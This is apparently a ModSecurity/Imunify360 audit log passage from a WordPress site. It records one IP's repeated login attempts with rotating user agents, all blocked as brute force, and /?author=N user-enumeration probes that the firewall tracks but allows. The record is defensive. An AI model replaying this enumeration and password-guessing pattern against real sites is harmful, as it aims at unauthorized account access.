--0089210e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314002622987 7840 (- - -)
Stopwatch2: 1789314002622987 7840; combined=1766, p1=358, p2=159, p3=0, p4=0, p5=1248, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0089210e-Z--
--8d6e8948-A--
[13/Sep/2026:18:40:03.151672 +0300] aqbD0-ut1GUrjaX0wO45ggAAANc 134.185.87.66 57772 127.0.0.1 7081
--8d6e8948-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--8d6e8948-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8d6e8948-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003149492 2250 (- - -)
Stopwatch2: 1789314003149492 2250; combined=782, p1=400, p2=94, p3=0, p4=0, p5=287, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8d6e8948-Z--
--93dec564-A--
[13/Sep/2026:18:40:03.557963 +0300] aqbD0-ut1GUrjaX0wO45hQAAAMQ 134.185.87.66 57812 127.0.0.1 7081
--93dec564-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--93dec564-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--93dec564-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003554829 3198 (- - -)
Stopwatch2: 1789314003554829 3198; combined=982, p1=275, p2=236, p3=0, p4=0, p5=471, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93dec564-Z--
--d789345f-A--
[13/Sep/2026:18:40:03.954233 +0300] aqbD0-ut1GUrjaX0wO45iAAAAMs 134.185.87.66 57832 127.0.0.1 7081
--d789345f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d789345f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d789345f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314003951416 2907 (- - -)
Stopwatch2: 1789314003951416 2907; combined=872, p1=433, p2=116, p3=0, p4=0, p5=323, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d789345f-Z--
--c538e051-A--
[13/Sep/2026:18:40:04.355694 +0300] aqbD1EhjHs68UzErry1K7QAAAIE 134.185.87.66 57858 127.0.0.1 7081
--c538e051-B--
GET /?author=1 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
--c538e051-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c538e051-E--
--c538e051-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004337806 17965 (- - -)
Stopwatch2: 1789314004337806 17965; combined=3765, p1=244, p2=3343, p3=92, p4=9, p5=76, sr=99, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c538e051-Z--
--03ad5243-A--
[13/Sep/2026:18:40:04.547523 +0300] aqbD1Put1GUrjaX0wO45igAAANQ 134.185.87.66 57866 127.0.0.1 7081
--03ad5243-B--
GET /?author=2 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
--03ad5243-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--03ad5243-E--
--03ad5243-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004542012 5581 (- - -)
Stopwatch2: 1789314004542012 5581; combined=3455, p1=215, p2=3128, p3=74, p4=8, p5=30, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03ad5243-Z--
--e8db5968-A--
[13/Sep/2026:18:40:04.742358 +0300] aqbD1EhjHs68UzErry1K7gAAAJU 134.185.87.66 57876 127.0.0.1 7081
--e8db5968-B--
GET /?author=3 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
--e8db5968-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e8db5968-E--
--e8db5968-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:3||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004736442 5991 (- - -)
Stopwatch2: 1789314004736442 5991; combined=3638, p1=272, p2=3244, p3=79, p4=10, p5=33, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e8db5968-Z--
--5e0d7a1a-A--
[13/Sep/2026:18:40:04.937546 +0300] aqbD1Put1GUrjaX0wO45iwAAAMA 134.185.87.66 57886 127.0.0.1 7081
--5e0d7a1a-B--
GET /?author=4 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
--5e0d7a1a-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5e0d7a1a-E--
--5e0d7a1a-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:4||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314004931862 5800 (- - -)
Stopwatch2: 1789314004931862 5800; combined=3478, p1=304, p2=3054, p3=75, p4=10, p5=35, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5e0d7a1a-Z--
--47a8660c-A--
[13/Sep/2026:18:40:05.129577 +0300] aqbD1UhjHs68UzErry1K7wAAAIs 134.185.87.66 57888 127.0.0.1 7081
--47a8660c-B--
GET /?author=5 HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
--47a8660c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--47a8660c-E--
--47a8660c-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:5||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005123867 5809 (- - -)
Stopwatch2: 1789314005123867 5809; combined=3480, p1=407, p2=2963, p3=71, p4=7, p5=32, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--47a8660c-Z--
--38d96434-A--
[13/Sep/2026:18:40:05.319110 +0300] aqbD1fut1GUrjaX0wO45jAAAANA 134.185.87.66 57898 127.0.0.1 7081
--38d96434-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--38d96434-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--38d96434-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005317041 2125 (- - -)
Stopwatch2: 1789314005317041 2125; combined=680, p1=259, p2=133, p3=0, p4=0, p5=288, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38d96434-Z--
--5aca4e27-A--
[13/Sep/2026:18:40:05.715829 +0300] aqbD1fut1GUrjaX0wO45jgAAAME 134.185.87.66 46102 127.0.0.1 7081
--5aca4e27-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5aca4e27-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5aca4e27-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314005714199 1704 (- - -)
Stopwatch2: 1789314005714199 1704; combined=568, p1=239, p2=62, p3=0, p4=0, p5=267, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5aca4e27-Z--
--ea39c219-A--
[13/Sep/2026:18:40:06.102825 +0300] aqbD1vut1GUrjaX0wO45kAAAAMw 134.185.87.66 46106 127.0.0.1 7081
--ea39c219-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ea39c219-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ea39c219-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006101104 1776 (- - -)
Stopwatch2: 1789314006101104 1776; combined=611, p1=236, p2=68, p3=0, p4=0, p5=307, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea39c219-Z--
--f5620025-A--
[13/Sep/2026:18:40:06.499693 +0300] aqbD1vut1GUrjaX0wO45kgAAAM4 134.185.87.66 46126 127.0.0.1 7081
--f5620025-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f5620025-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f5620025-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006498014 1740 (- - -)
Stopwatch2: 1789314006498014 1740; combined=589, p1=271, p2=64, p3=0, p4=0, p5=254, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f5620025-Z--
--276d7046-A--
[13/Sep/2026:18:40:06.944927 +0300] aqbD1vut1GUrjaX0wO45lAAAAMs 134.185.87.66 46138 127.0.0.1 7081
--276d7046-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--276d7046-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--276d7046-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006939263 5755 (- - -)
Stopwatch2: 1789314006939263 5755; combined=707, p1=324, p2=127, p3=0, p4=0, p5=256, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--276d7046-Z--
--d059b06e-A--
[13/Sep/2026:18:40:07.353971 +0300] aqbD1-ut1GUrjaX0wO45lgAAANQ 134.185.87.66 46150 127.0.0.1 7081
--d059b06e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d059b06e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d059b06e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314007352138 1890 (- - -)
Stopwatch2: 1789314007352138 1890; combined=614, p1=241, p2=77, p3=0, p4=0, p5=295, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d059b06e-Z--
--5f11c456-A--
[13/Sep/2026:18:40:07.764671 +0300] aqbD1-ut1GUrjaX0wO45mAAAANA 134.185.87.66 46172 127.0.0.1 7081
--5f11c456-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5f11c456-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5f11c456-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314007762992 1734 (- - -)
Stopwatch2: 1789314007762992 1734; combined=604, p1=232, p2=124, p3=0, p4=0, p5=248, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5f11c456-Z--
--f26d3b61-A--
[13/Sep/2026:18:40:08.167756 +0300] aqbD2BsbgHO3aGL3jiTwxgAAAAA 134.185.87.66 46188 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
